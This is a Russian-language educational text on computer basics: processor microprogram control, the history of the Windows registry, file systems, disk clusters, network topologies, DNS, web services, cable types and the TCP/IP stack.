Поступивший от дешифратора команд адрес записывается в счетчик микрокоманд устройства выборки, и начинается процесс обработки последовательности микрокоманд. Каждый разряд  микрокоманды связан с одним управляющим входом какого-либо функционального устройства. Так, например, управляющие входы регистра хранения «Сброс», «Запись», «Чтение» соединены с  соответствующими разрядами микрокоманды. Общее число разрядов микрокоманды  может составлять от нескольких сотен до нескольких тысяч и равно общему числу управляющих входов всех функциональных устройств  процессора. Часть разрядов микрокоманды подается на устройство управления выборкой очередной микрокоманды и используется для организации условных переходов и циклов, так как алгоритмы обработки команд могут быть достаточно сложными. 

Выборка очередной микрокоманды осуществляется через определенный интервал времени, который, в свою очередь, зависит от времени выполнения предыдущей микрокоманды. Частота, с которой осуществляется выборка микрокоманд, называется тактовой частотой процессора. Тактовая частота является важной характеристикой процессора, так как определяет скорость выполнения  процессором команд, и, в конечном итоге, быстродействие процессора. 

Арифметико-логическое устройство (АЛУ) предназначено для выполнения арифметических и логических операций преобразования информации. Функционально АЛУ состоит из нескольких  специальных регистров, полноразрядного сумматора и схем местного управления. 

Регистры общего назначения (РОН) используются для временного хранения операндов исполняемой команды и результатов вычислений, а также хранят адреса ячеек памяти или портов ввода-вывода для команд, обращающихся к памяти и внешним устройствам. 

Необходимо отметить, что если операнды команды хранятся в РОН, то время выполнения команды значительно сокращается. Одна из причин, почему программисты иногда обращаются к  программированию на языке машинных команд, это наиболее полное  использование РОН для получения максимального быстродействия при  выполнении программ, критичных по времени. 

Рассмотрим кратко характеристики процессоров, используемых в современных ПК типа IBM PC. Процессоры для этих ПК выпускают многие фирмы, но законодателем моды здесь является фирма Intel. Ее последней разработкой является процессор Intel Core, выпуск которого начат в начале 2006 г. К основным особенностям архитектуры Intel Core можно отнести следующие: 

— имеется специальный внутренний КЭШ размером 2 Мбайта; 

— добавлена арбитражная шина, которая уменьшает нагрузку  

системной шины; 

— внутренняя микроархитектура процессора базируется на двух ядрах — параллельно работающих конвейерах команд {суперскалярная архитектура), которые исполняют сразу несколько команд в 12 разных фазах обработки (чтение, дешифрация, загрузка операндов, исполнение и т.д.). Конвейеры заканчиваются двумя АЛУ: АЛУ, работающим на удвоенной частоте процессора для коротких арифметических и логических команд, и АЛУ 

для выполнения медленных команд; 

— введено управление питанием ядра, которое включает в себя блок температурного контроля, способный управлять отдельно питанием каждого ядра. 

Фирма Intel поставляет упрощенные варианты процессоров Pentium 4 под названием Celeron, который в два раза дешевле базового варианта процессора. Однако следует отметить, что последние модели процессора Celeron ни в чем не уступают «старшему брату» и даже в некоторых случаях превосходят его. 

Фирма AMD {Advanced Micro Devices) выпускает процессоры, совместимые по системе команд с Intel Pentium 4 — Athlon (K7). Этот процессор выполнен по суперскалярной архитектуре с тремя конвейерами команд, работающими параллельно и способными обрабатывать до девяти инструкций за один цикл работы процессора. Тестирование процессора К7 и его сравнение с Pentium 4 показывает, что К7 не уступает ему и даже превосходит его в некоторых случаях. Стоимость процессора Athlon на 20—30 % дешевле процессора Intel. Процессор К7 требует для своей работы собственной шины, несовместимой с шиной процессора Pentium 4. Поэтому замена одного типа процессора другим требует и замены системной платы, на которой  расположен набор микросхем основных функциональных устройств ПК.
4 Реестр Windows
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Реестр Windows 3.1

Технологический шаг был сделан в Windows 3.1.

Сам реестр, как древовидная иерархическая база данных (registration database — регистрационная база) впервые появился в Windows 3.1 (апрель 1992). Это был всего один двоичный файл, который назывался REG.DAT и хранился в каталоге C:\Windows\. Реестр Windows 3.1 имел только одну ветку HKEY_CLASSES_ROOT. Он служил для связи DDE, а позднее и OLE объектов.

Одновременно c появлением реестра в Windows 3.1 появилась программа REGEDIT.EXE для просмотра и редактирования реестра. (Интересно, что Regedit.exe от Windows 3.1 запускается и работает под Windows XP. Можно просматривать и даже редактировать раздел HKEY_CLASSES_ROOT.[источник?]

Первый реестр уже имел возможность импорта данных из *.REG файлов. В базовой поставке шел файл SETUP.REG, содержащий данные по основным расширениям и типам файлов. (но, похоже, первый реестр еще не имел возможности экспорта настроек во внешний файл)

Реестр Windows 3.1 имел ограничение на максимальный размер файла REG.DAT — 64 Кбайт. Если вдруг реестр превышал этот размер — то файл реестра (REG.DAT) приходилось удалять и собирать заново либо из *.REG файлов, либо вводить данные вручную.

Реестр Windows NT 3.1

Идеологический шаг был сделан в Windows NT 3.1 (июль 1993). Произошел отказ от файлов AUTOEXEC.BAT и CONFIG.SYS, а так же от INI-файлов, как от основных файлов конфигурации. На «регистрационную базу» (реестр) была переведена вся конфигурация системы. Основой конфигурации системы стал реестр. Он имел 4 корневых раздела: HKEY_ LOCAL_MACHINE, HKEY_CURRENT_USER, HKEY_CLASSES_ROOT и HKEY_USERS.

Реестр стал «сборным»: на диске он хранился в файлах: DEFAULT, SOFTWARE, SYSTEM, а при запуске системы из этих файлов собиралась единая БД.

В комплекте поставки оставался файл REGEDIT.EXE, который по прежнему позволял просматривать и редактировать только ветку HKEY_CLASSES_ROOT (это был тот же Regedit.exe от Windows 3.1, «байт-в-байт», просто с другой датой), и появился файл REGEDT32.EXE, который позволял редактировать все ветки реестра.

Далее технология и идеология (назначение) реестра уже не менялись. Все последующие версии Windows (NT 3.5, 95, NT 4.0, 98, 2000, XP, Vista) использовали реестр как основную БД, содержащую все основные данные по конфигурации как самой ОС, так и прикладных программ. Далее менялось только расположение и название файлов реестра, и название и назначение ключей.

Современный реестр Windows

Реестр в том виде, как его использует Windows и как видит его пользователь в процессе использования программ работы с реестром, некоторым образом «нигде не хранится». Чтобы получилось то, что видит пользователь, редактируя реестр, происходит следующее.

Вначале, в процессе установки и настройки Windows, на диске формируются файлы, в которых хранится часть данных относительно конфигурации системы.

Затем, в процессе каждой загрузки системы, а так же в процессе каждого входа и выхода каждого из пользователей, формируется некая виртуальная сущность, называемая «реестром». Данные для формирования «реестра» берутся из тех самых файлов и из других мест.

То есть часть данных реестра хранится в файлах, а часть данных порождается в процессе загрузки Windows.

Для редактирования, просмотра и изучения реестра стандартными средствами Windows (программы regedit.exe и regedt32.exe) доступны именно ветки реестра. После редактирования реестра и/или внесения в него изменений эти изменения сразу записываются в файлы.

Однако, есть программы сторонних разработчиков, которые позволяют работать непосредственно с файлами. Например, программы от Paullee и программа Registry Reanimator.

Программы оптимизации реестра, твикеры, а так же инсталляторы и деинсталляторы программ работают через специальные функции работы с реестром.

Фа́йловая систе́ма (англ. file system) — регламент, определяющий способ организации, хранения и именования данных на носителях информации. Она определяет формат физического хранения информации, которую принято группировать в виде файлов. Конкретная файловая система определяет размер имени файла, максимальный возможный размер файла, набор атрибутов файла. Некоторые файловые системы предоставляют сервисные возможности, например, разграничение доступа или шифрование файлов.

Файловая система связывает носитель информации, с одной стороны, и API для доступа к файлам — с другой. Когда прикладная программа обращается к файлу, она не имеет никакого представления о том, каким образом расположена информация в конкретном файле, также, как и на каком физическом типе носителя (CD, жёстком диске, магнитной ленте или блоке флеш-памяти) он записан. Всё, что знает программа — это имя файла, его размер и атрибуты. Эти данные она получает от драйвера файловой системы. Именно файловая система устанавливает, где и как будет записан файл на физическом носителе (например, жёстком диске).

С точки зрения операционной системы, весь диск представляет из себя набор кластеров размером от 512 байт и выше. Драйверы файловой системы организуют кластеры в файлы и каталоги (реально являющиеся файлами, содержащими список файлов в этом каталоге). Эти же драйверы отслеживают, какие из кластеров в настоящее время используются, какие свободны, какие помечены как неисправные.

Однако файловая система не обязательно напрямую связана с физическим носителем информации. Существуют виртуальные и сетевые файловые системы, которые являются лишь способом доступа к файлам, находящимся на удалённом компьютере.

4.1.1.1 Иерархия каталогов

Практически всегда файлы на дисках объединяются в каталоги.

В простейшем случае все файлы на данном диске хранятся в одном каталоге. Такая одноуровневая схема использовалась в CP/M и первых версиях MS-DOS. Иерархическая файловая система со вложенными друг в друга каталогами впервые появилась в UNIX.

Wiki.txt

Tornado.jpg

Notepad.exe

(Одноуровневая файловая система)

Каталоги на разных дисках могут образовывать несколько отдельных деревьев, как в DOS/Windows, или же объединяться в одно дерево, общее для всех дисков, как в UNIX-подобных системах.

C:

  \Program files

      \CDEx

           \CDEx.exe

           \CDEx.hlp

           \mppenc.exe

  \Мои документы

      \Wiki.txt

      \Tornado.jpg

D:

  \Music

      \ABBA

           \1974 Waterloo

           \1976 Arrival

               \Money, Money, Money.ogg

           \1977 The Album

(Иерархическая файловая система Windows/DOS)

На самом деле, в DOS/Windows системах также, как и в UNIX-подобных существует один корневой каталог со вложенными директориями, имеющими названия "c:", "d:" и т.д. В эти каталоги монтируются разделы жёсткого диска. Т.е., c:\ - это всего лишь ссылка на file:///c:/. Однако, в отличие от UNIX-подобных файловых систем, в Windows запись в корневой каталог запрещена, как и просмотр его содержимого.

В UNIX существует только один корневой каталог, а все остальные файлы и каталоги вложены в него. Чтобы получить доступ к файлам и каталогам на каком-нибудь диске, необходимо примонтировать этот диск командой mount. Например, чтобы открыть файлы на CD, нужно, говоря простым языком, сказать операционной системе: «возьми файловую систему на этом компакт-диске и покажи её в каталоге /mnt/cdrom». Все файлы и каталоги, находящиеся на CD, появятся в этом каталоге /mnt/cdrom, который называется точкой монтирования (англ. mount point). В большинстве UNIX-подобных систем съёмные диски (дискеты и CD), флеш-накопители и другие внешние устройства хранения данных монтируют в каталог /mnt, /mount или /media. Unix и UNIX-подобные операционные системы также позволяет автоматически монтировать диски при загрузке операционной системы.

/usr                                  

    /bin                              

         /arch                        

         /ls                         

         /raw                     

    /lib                           

         /libhistory.so.5.2           

         /libgpm.so.1                

/home                                

    /lost+found                      

         /host.sh                    

    /guest                         

         /Pictures                   

              /example.png        

         /Video                     

              /matrix.avi            

              /news                

                   /lost_ship.mpeg    

(Иерархическая файловая система Unix и UNIX-подобных операционных системах)

Обратите внимание на использование слэшей в файловых системах Windows, UNIX и UNIX-подобных операционных системах (В Windows используется обратный слеш "\", а в UNIX и UNIX-подобных операционных системах простой слеш "/")

Кроме того, следует отметить, что вышеописанная система позволяет монтировать не только файловые системы физических устройств, но и отдельные каталоги (параметр --bind) или, например, образ ISO (опция loop). Такие надстройки, как FUSE, позволяют также монтировать, например, целый каталог на FTP и ещё очень большое количество различных ресурсов.

Ещё более сложная структура применяется в NTFS и HFS. В этих файловых системах каждый файл представляет собой набор атрибутов. Атрибутами считаются не только традиционные только для чтения, системный, но и имя файла, размер и даже содержимое. Таким образом, для NTFS и HFS то, что хранится в файле — это всего лишь один из его атрибутов.

Если следовать этой логике, один файл может содержать несколько вариантов содержимого. Таким образом, в одном файле можно хранить несколько версий одного документа, а также дополнительные данные (значок файла, связанная с файлом программа). Такая организация типична для HFS на Macintosh.

Классификация файловых систем

По предназначению файловые системы можно классифицировать на следующие категории:

Для носителей с произвольным доступом (например, жёсткий диск): FAT32, HPFS, ext2 и др. Поскольку доступ к дискам в разы медленнее, чем доступ к оперативной памяти, для прироста производительности во многих файловых системах применяется асинхронная запись изменений на диск. Для этого применяется либо журналирование, например в ext3, ReiserFS, JFS, NTFS, XFS, либо механизм soft updates и др. Журналирование широко распространено в Linux, применяется в NTFS. Soft updates - в BSD системах. Reiser4 не применяет журналирование, все операции в ней атомарны. 

Для носителей с последовательным доступом (например, магнитные ленты): QIC и др. 

Для оптических носителей — CD и DVD: ISO9660, ISO9690, HFS, UDF и др. 

Виртуальные файловые системы: AEFS и др. 

Сетевые файловые системы: NFS, CIFS, SSHFS, GmailFS и др. 

Для флэш-памяти: YAFFS, ExtremeFFS. 

Задачи файловой системы

Основные функции любой файловой системы нацелены на решение следующих задач:

именование файлов; 

программный интерфейс работы с файлами для приложений; 

отображения логической модели файловой системы на физическую организацию хранилища данных; 

устойчивость файловой системы к сбоям питания, ошибкам аппаратных и программных средств; 

содержание параметров файла, необходимых для правильного его взаимодействия с другими объектами системы (ядро, приложения и пр.) 

В многопользовательских системах появляется еще одна задача: защита файлов одного пользователя от несанкционированного доступа другого пользователя.

Се́ктор диска — минимальная адресуемая единица хранения информации на дисковых запоминающих устройствах. Является частью дорожки диска. У большинства устройств размер сектора составляет 512 байт (например, у жестких и гибких дисков), либо 2048 байт (например, у оптических дисков).

Для более эффективного использования места на диске файловая система может объединять сектора в кластеры, размером от 512 байт (один сектор) до 64 кбайт (128 секторов). Количество секторов на цилиндрах ранее было одинаковым, на современных дисках количество секторов на цилиндр разное, но контроллер жёсткого диска сообщает о некоем условном количестве дорожек, секторов \ и сторон, хотя позднее была создана LBA система обращения к дискам, в которой все сектора пронумерованы. Первый сектор диска обычно является загрузочным. Первый сектор НЖМД содержит главную загрузочную запись, содержащую короткую программу передачи управления в загрузочный сектор, находящийся на разделе, и таблицу разделов (слайсов).

Кластер (англ. cluster) — в некоторых типах файловых систем логическая единица хранения данных в таблице размещения файлов, объединяющая группу секторов. Например, на дисках с размером секторов в 512 байт, 512-байтный кластер содержит один сектор, тогда как 4-килобайтный кластер содержит восемь секторов.

Как правило, это наименьшее место на диске, которое может быть выделено для хранения файла.

Понятие кластер используется в файловых системах FAT и NTFS. Другие файловые системы оперируют схожими понятиями (зоны в Minix, блоки в Unix).

5 Сети

5.1 Введение
проблема передачи данных с одного компьютера на другой. Если соединить два компьютера при помощи провода, то получится простейшая компьютерная сеть.

Теперь для передачи данных с одного компьютера на другой не требуется внешних носителей. Данные передаются быстро, в любом объеме и в любое время.

В настоящее время интерес к сетям в мире очень велик, началось резкое разрастание сетей и в России. Это определяется следующими преимуществами подобных сетей:

1. Во многих организациях и фирмах подразделения рассредоточены на большие расстояния. Для оперативного управления и обмена информацией у этих организаций возникает необходимость объединить компьютеры в единую сеть.

2. Организация общего доступа к определенному виду данных или оборудованию (например, общая база данных в какой-либо организации — билетные кассы и т.п., коллективный доступ к дорогому лазерному принтеру).

3. Использование сетей позволяет создать очень гибкую рабочую среду (возможность работать на домашнем компьютере, подключенном к сети учреждения).

4. Оперативное получение нужной информации из библиотек и банков.

Для обеспечения интерфейса (стыка) компьютера с сетью предназначеныусти/эойс/ива сопряжения. Примером может служить модем.

Модем служит для преобразования цифровых сигналов компьютера в аналоговые сигналы телефонной сети и обратно. Основной характеристикой модема является скорость передачи данных — количество бит информации, передаваемых в секунду.

Работа любого сопряжения реализуется в соответствии с некоторым протоколом. Протокол — это соглашения (правила) о том, как связываемые объекты (компьютеры и линии связи) взаимодействуют друг с другом.

Существующие сети принято в настоящее время делить по территориальному признаку:

1. Локальные сети — охватывают небольшую территорию, действуют в пределах одного учреждения.

2. Региональные сети — действуют в пределах города, региона.

3. Глобальные сети — охватывают большие территории: страны, континенты.

Для связи с внешними устройствами компьютер имеет порты, через которые можно принимать и передавать информацию. Через эти порты можно соединить два компьютера отрезком кабеля, и они образуют сеть, для которой не требуется аппаратное и программное обеспечение. Такое соединение называется прямым.

К получившейся сети можно теперь добавить еще компьютеры. Соединить их можно двумя способами — последовательно и звездой. Конфигурация локальной сети называется топологией. Последовательное соединение можно, в свою очередь, разделить на три типа — чисто последовательное, последовательное кольцом и последовательное по общей шине: 
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1. Простое последовательное.

При этом информация передается последовательно с одного компьютера на другой и обратно. Схема работает быстро, но при разрыве одного из соединений или при неисправности одного компьютера, вся сеть выходит из строя. Практически эта схема почти не используется. 

2. Последовательное кольцом.

При этом соединении данные также передаютсяпоследовательно от компьютера к компьютеру, но по сравнению с простым последовательным соединением, данные могут передаваться в двух направлениях, что повышает устойчивость к неполадкам сети. Один разрыв не выводит сеть из строя, но два разрыва делают сеть нерабочей. Кольцевая сеть достаточно широко применяется.  В основном, из-за высокой скорости передачи данных. Кольцевые сети самые скоростные. 

3. Последовательное по общей шине.

При таком соединении обмен может производиться между любыми компьютерами сети, независимо от остальных. При повреждении связи одного компьютера с общей шиной, этот компьютер отключается от сети, но вся сеть работает. В этом смысле сеть достаточно устойчива, но если повреждается шина, то вся сеть выходит из строя.

4. Соединение звездой.

При соединении звездой сеть очень устойчива к повреждениям. При повреждении одного из соединений от сети отключается только один компьютер. Кроме того, эта схема соединения позволяет создавать сложные разветвленные сети. Устройства, которые позволяют организовывать сложные структуры сетей, называются концентраторами и коммутаторами. 

Все указанные схемы могут, в свою очередь, быть организованы двумя способами. В зависимости от способа организации, сети могут быть одноранговыми и с выделенным сервером.

Одноранговая сеть построена таким образом, что все компьютеры в сети равноправны. С каждого компьютера есть доступ на каждый компьютер сети.

Сеть с выделенным сервером имеет центральный компьютер — сервер, с которого происходит управление работой сети. Остальные компьютеры называются рабочими станциями.

Сервер — это компьютер, предоставляющий услуги другим компьютерам сети. При помощи сервера происходит распределение доступа различных пользователей к компьютерам сети и распределение других ресурсов сети. Сеть с выделенным сервером может быть ранжирована, т.е. могут быть выделены компьютеры в сети, к которым будет ограничен доступ с других компьютеров.

Кроме того, имеется возможность организовать доступ к общим сетевым принтерам, модемам и другим устройствам с любого компьютера. На сервере могут быть записаны программы, которыми пользуются все компьютеры сети.

Сетевой протокол. Одной из характеристик компьютерной сети является сетевой протокол. Сетевой протокол — это программа-набор правил, устанавливающих тип используемых данных, стандарты связи, правила обработки ошибок. Существует множество сетевых протоколов - CSMA/CD, SLIP, PPP, UUCP, ISO,

OSI, TCP/IP. 

Для передачи по сети, файл разбивается на несколько частей — пакетов. Каждый пакет передается независимо от остальных. На конечном пункте в компьютере все пакеты собираются в один файл. Так как пакеты передаются независимо, то каждый пакет может дойти до конечного компьютера по своему пути.

Чтобы сеть, состоящая из равноправных компьютеров, работала, каждому компьютеру присваивается имя, и в каждый компьютер записывается таблица имен всех компьютеров сети и таблица соединений. Благодаря этим сведениям каждый компьютер «знает», по какому пути направить пакет. Вначале проверяется кратчайший путь, если он занят или разрушен, то проверяется следующий наиболее короткий путь и т.д. После того, как пакеты попадут на оконечный компьютер, проверяется наличие всех пакетов, составляющих файл. Если какого-либо пакета не хватает, компьютер посылает запрос на компьютер-отправитель и сообщает какой пакет отсутствует. Нужный пакет заново посылается адресату. Все правила кодирования и пересылки файлов записываются в сетевом протоколе. Для этого был создан протокол IP, позволявший делить файлы на пакеты и передавать пакеты от узла к узлу. Для объединения сетей, работающих по протоколу IP и сетей, работающих по другим протоколам, необходимо было создать специальный межсетевой протокол. Этот протокол был создан в 1974 году и назван TCP. Протокол TCP обеспечивал передачу пакетов между компьютером-отправителем и компьютером-приемником, этот протокол позволял также досылать потерянные пакеты. Все эти свойства протокола TCP позволили использовать его для межсетевого обмена файлами. После объединения в 1982 году двух протоколов TCP и IP в один, протокол TCP/IP стал стандартным протоколом объединенной сети — Интернет. Сетевой протокол записывается в компьютер в виде специальной программы. В тех случаях, когда происходит объединение сетей, работающих по разным протоколам, возникает необходимость для перевода данных из формата, принятого в одной сети, в формат, принятой в другой. Компьютеры или программы, выполняющие эту функцию, называют шлюзами. Если объединяются две сети, использующие одинаковые протоколы, то оборудование, стоящее между ними называется мостами. Нередко владельцы сетей (например, банковских) подключаются к глобальным сетям, чтобы иметь широкие возможности связи, но не могут допустить подключения внешних пользователей к своей сети. В этом случае шлюзовой компьютер выполняет защитную роль и называется брандмауэром. Через него может проходить только разрешенная информация.

Кроме сетевого оборудования, для работы сети требуется сетевая операционная система. По сравнению с обычной операционной системой, в сетевой имеются возможности работы в сети. К сетевым операционным системам относятся Windows 98, Windows NT, Windows 2000, Windows XP, NetWare и UNIX.
10.2. Адреса серверов в Интернет и WEB

Назначение адреса в Интернет аналогично адресу, который пишется на почтовом конверте. Адреса в протоколе IP состоят из четырех байт, которые записываются в так называемой десятичной нотации, например: 185.170.207.235. Очевидно, что числовая адресация удобна для машинной обработки таблиц маршрутов, но совершенно неприемлема для восприятия и запоминания человеком. В 1984 году была введена система имен серверов в Интернет — DNS. Каждый сервер в Интернет имеет свое уникальное имя в соответствии с этой системой. В системе DNS вводится понятие домена.

Доменом называется часть сети, находящаяся на ограниченном пространстве и состоящая из сервера и подключенных к нему компьютеров-клиентов. Каждый домен имеет имя. Главный сервер домена имеет это же имя. Имя сервера состоит из нескольких частей, разделенных точками. Этих частей как минимум две. Обязательной частью является уникальное имя сервера. Эта часть пишется слева. Затем пишется либо категория сервера, либо имя глобальной сети, в которую входит домен, либо имя страны, либо все эти имена. Таким образом, имя домена и его главного сервера может состоять из следующих частей:

— уникального имени сервера; 

— категории сервера (три символа);

— имени сети, в которой находится сервер;

— код страны (два символа).

Примеры:

1) intel.com имя сервера intel, категория

com

2) rtr.ru имя сервера rtr, код страны ru

3) rnd.edu.runnet.ru имя сервера rnd, категория

edu, имя сети runnet,

код страны ш

Если к этому серверу будет подключен новый сервер со своими клиентами, то его имя будет записано слева от rnd. Например, если новый сервер будет иметь имя school31, то полное имя будет school31rnd.runnet.ru. Адреса WEB-серверов записываются по такому же

правилу, что и имена всех Интернет-серверов, но начинаются они с трех w: www. rnd. runnet. ru. 

10.3. Основы технологии World Wide Web(WWW) 

Web-система состоит из серверов, организованных по Web-технологии (Web-серверов). Эта технология позволяет представлять информацию в графическом виде с красивыми иллюстрациями, мультипликацией, видео и звуковыми эффектами — другими словами использовать все мультимедийные возможности компьютера.

Кроме того, Web-система использует гиперссылки на объекты, которые находятся на разных серверах в различных точках сети. Гиперссылки выделяются в документе цветом, подчеркиванием, и при установке на них указателя мыши, он меняет свою форму. Гиперссылкой в документе может быть любой объект — текстовый или графический. При активизации такой ссылки система открывает соответствующий файл или обращается на указанный сервер, который обычно находится на любом компьютере, подключенном к Интернету. 

В Web существуют документы, состоящие из одних ссылок. Web-система — это гипермедийная технология обработки и представления информации в глобальной сети Интернет. В Web-системе используется специальный компьютерный язык HTML и протокол HTTP — протокол передачи гипертекста. Следует заметить, что HTML — это специальный язык форматирования текстовых документов. Важно отметить, что речь идет об электронных, а не печатных документах. 

Доступ к серверам осуществляется с помощью специальной программы, которая является клиентом по отношению к серверу.

Браузер— это интерактивная программа, позволяющая организовать доступ в Web-пространство и Интернет. При помощи браузера можно просматривать содержимое не только Web-серверов, но и других серверов Интернет. В настоящее время самыми популярными браузерами является Netscape Communicator корпорации Netscape Communication и Internet Explorer корпорации Microsoft.

Сущностью работы в Интернет является доступ со своего компьютера на различные Интернет-серверы и считывание информации с этих серверов в свой компьютер.

10.4. Виды услуг компьютерных сетей

Интернет предоставляет людям огромные информационные ресурсы по различным областям знания, жизни человека и общества. Тексты, базы данных, графические изображения, музыкальные и видео фрагменты, которые хранятся на серверах Интернет, могут удовлетворить интерес и потребности большинства пользователей сети, а ведь объем информации в Интернет растет с каждым часом!

Но кроме информационных ресурсов Интернет обладает огромными возможностями по организации связи и общения между людьми. Кроме электронной почты сейчас существует возможность голосового общения по Интернет — Интернет-телефон. Более того, технология Интернет обогнала обычные телекоммуникационные технологии и предоставила реальную возможность осуществления видеотелефонной связи. При помощи цифровых видеокамер можно организовать видеоконференции — общение с одним или несколькими пользователями сети. Во время видеоконференции вы видите собеседника на экране своего монитора. Это очень удобный способ общения, но он требует определенных условий — высокоскоростных линий связи и цифровых видеокамер у всех собеседников. Если пользователи сети не имеют таких условий, то они могут организовать общение или обсуждение проблем при помощи телеконференций. В современную телевизионную эпоху термин «телеконференция» сразу ассоциируется с телевидением, но на самом деле телеконференции ничего общего с телевидением не имеют.

Телеконференция — это способ организации общения в Интернет при помощи текстовых сообщений. Телеконференция базируется на системе электронной почты. Чтобы организовать телеконференцию, необходимо иметь Интернет-сервер и почтовый ящик. На сервере публикуется тема телеконференции. Все желающие обсудить тему пересылают свои отзывы по электронной почте. Письма автоматически помещаются на сервер.

Так постепенно на сервере появляются тексты с обсуждением темы. Дискуссию по теме может просмотреть любой посетитель сервера. Если тема его заинтересует, он может принять участие в телеконференции. Кроме телеконференций существуют доски объявлений. 

Доска объявлений отличается от телеконференции только тем, что нет конкретной темы сообщений, и каждый, кто хочет сделать сообщение, пересылает его по

электронной почте. Электронная почта Электронная почта достигает любой точки земного шара за несколько минут. Она позволяет передавать не только текст, но и изображение. Если вы ведете переписку большого объема, особенно с заграницей, электронная почта дает мгновенную и очень весомую экономию. Электронная почта не использует географическую адресацию. Адрес электронной почты, который сейчас принято писать на визитках вместе с телефоном, выгладит так: имя_пользователя@название_компьютера, например:

val@mail.ru,

artur@tp.ru

@ — это разделитель, который часто называют «собакой », а по-английски это обозначает предлог at. Большие и маленькие буквы в почтовом адресе не различаются.

Существует очень много почтовых программ, значительная часть из них бесплатна. Наиболее распространенные следующие программы:

Microsoft Outlook Express, Netscape Messenger, The B&tl, Eudora .

Веб-форумы и группы новостей 

Списки рассылки — это не единственный способ обмена информацией. Группы новостей выполняют эти же функции, но используют для этого специализированное программное обеспечение и протокол под названием NNTP.

Существуют многие группы новостей, посвященных различным вопросам. В отличие от списков рассылки они существуют не по отдельности, а объединены в общую иерархию. Участвовать в них можно, используя Microsoft Internet News (входит в состав Windows 95

начиная с версии OSR2) или Netscape Messenger, который поддерживает не только почту, но и новости. Этим программам необходимо указать название сервера новостей своего провайдера. Так же как и почтой, новостями можно пользоваться при помощи браузера, используя сервер deja.com.

Веб-форумы выглядят как обычные веб-страницы и выполняют те же функции, что и списки рассылки, но используют для этого только браузер. Они организованны таким образом, что каждый пользователь может дописывать в них свое сообщение. Веб-форумы — наиболее удобное и простое средство для групповых дискуссий и объявлений, но требуют более продолжительного подключения к Интернету по срагнению со

списками рассылки.

FTP — сервис

Интернет — это всемирная сеть, заключающая в себе огромные информационные ресурсы. Компьютеры привычные человеку образы могут получать, хранить и передавать только в виде последовательности байтов (файлов). И обмен информацией между компьютерами на самом деле — это обмен файлами.

FTP-архивы являются одним из основных информационных ресурсов сети Интернет. По своей сути это огромный склад программ, рисунков, текстов, которые хранятся в виде файлов на различных компьютерах. При этом компьютерные платформы могут быть различных типов. В этом и заключается главная особенность FTP в сети. Если ваш компьютер имеет FTP и подсоединен к Интернету, то вы получите доступ к огромному числу архивов, хранящихся на других системах.

5.2 Технические средства. Виды кабелей
Вита́я па́ра (англ. twisted pair) — вид кабеля связи, представляет собой одну или несколько пар изолированных проводников, скрученных между собой (с небольшим числом витков на единицу длины), покрытых пластиковой оболочкой. Свивание проводников производится с целью повышения связи проводников одной пары (электромагнитная помеха одинаково влияет на оба провода пары) и последующего уменьшения электромагнитных помех от внешних источников, а также взаимных наводок при передаче дифференциальных сигналов. Для снижения связи отдельных пар кабеля (периодического сближения проводников различных пар) в кабелях UTP категории 5 и выше провода пары свиваются с различным шагом.
Кабель подключается к сетевым устройствам при помощи соединителя 8P8C (зачастую ошибочно называемого RJ45 или RJ-45. Термин «RJ45» ошибочно употребляется для именования разъёма 8P8C, используемого в компьютерных сетях. На самом деле настоящий RJ45 физически несовместим с 8P8C, так как использует схему 8P2C с ключом. Ошибочное употребление термина «RJ45» вызвано, скорее всего, тем, что настоящий RJ45 не получил широкого применения, а также их внешним сходством. В свою очередь 8P8C (8 Position 8 Contact) — это унифицированный разъем, который используется в телекоммуникациях и имеет 8 контактов и защёлку), немного бо́льшим, чем телефонный соединитель RJ11.
Коаксиа́льный ка́бель (от лат. co — совместно и axis — ось, то есть «соосный») — вид электрического кабеля. Состоит из двух цилиндрических проводников, соосно вставленных один в другой. Чаще всего используется центральный медный проводник, покрытый пластиковым изолирующим материалом, поверх которого идёт второй проводник — медная оплётка или алюминиевая фольга с оплёткой из медных лужёных проволок. Современный телевизионный коаксиальный кабель имеет внутренний проводник из омеднённой стали, внутренний диэлектрик из вспененного полиэтилена и экранирование фольгой и стальной оплёткой. Некоторые кабели имеют два слоя фольги, между которыми находится стальная оплётка. Благодаря совпадению центров обоих проводников потери на излучение практически отсутствуют; одновременно обеспечивается хорошая защита от внешних электромагнитных помех. Поэтому такой кабель обеспечивает передачу данных на большие расстояния и использовался при построении компьютерных сетей (пока не был вытеснен витой парой). Используется в сетях кабельного телевидения и во многих других областях. Основной характеристикой кабеля является волновое сопротивление. В зависимости от этой величины и толщины коаксиальный кабель делится на несколько категорий. Компьютерные сети на основе этого кабеля обычно требуют наличия терминаторов (согласованных нагрузок) на оконечных точках.
Оптоволокно — это стеклянная или пластиковая нить, используемая для переноса света внутри себя посредством полного внутреннего отражения. Оптоволокно может быть использовано как средство для дальней связи и построения компьютерной сети, вследствие своей гибкости, позволяющей даже завязывать кабель в узел. Несмотря на то, что волокна могут быть сделаны из прозрачного пластичного оптоволокна или кварцевого волокна, волокна, использующиеся для передачи информации на большие расстояния, всегда сделаны из кварцевого стекла, из-за низкого оптического ослабления электромагнитного излучения. В связи используются многомодовые и одномодовые оптоволокна; многомодовое оптоволокно обычно используется на небольших расстояниях (до 500 м), а одномодовое оптоволокно — на длинных дистанциях. Из-за строгого допуска между одномодовым оптоволокном, передатчиком, приемником, усилителем и другими одномодовыми компонентами, их использование обычно дороже, чем применение мультимодовых компонентов.
5.2.1.1 Стек протоколов TCP/IP
TCP/IP - собирательное название для набора (стека) сетевых протоколов разных уровней, используемых в Интернет.

Особенности TCP/IP: 

· Открытые стандарты протоколов, разрабатываемые независимо от программного и аппаратного обеспечения; 

· Независимость от физической среды передачи; 

· Система уникальной адресации; 

· Стандартизованные протоколы высокого уровня для распространенных пользовательских сервисов. 

Стек протоколов TCP/IP делится на 4 уровня:

· Прикладной 

· Транспортный 

· Межсетевой 

· Физический и канальный 
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5.2.1.1.2 Пример стека протоколов TCP/IP
Каким образом мы попадаем со своего компьютера на удаленный сервер?

Все наши компьютеры объединены в локальную сеть, и имеют локальную IP-адресацию. Пакеты с такой адресацией "путешествовать" в глобальной сети не смогут, т.к. маршрутизаторы их не пропустят.

Поэтому существует шлюз, который преобразовывает пакеты с локальными IP-адресами, давая им свой внешний адрес. И дальше пакеты путешествуют с адресом шлюза.
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5.2.1.1.4 Схема прохождения пакетов из локальной сети к серверу
Локальных сетей слишком много, поэтому реально объединяют автономные системы.

Автономная система (AS - autonomous system) – сеть, находящаяся под одним административным контролем, это может быть несколько компьютеров или большая сеть.
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5.2.1.1.6 Схема объединения отдельных сетей в общую составную сеть
5.2.1.2 Сравнительная оценка сетевых архитектур ISO и TCP/IP
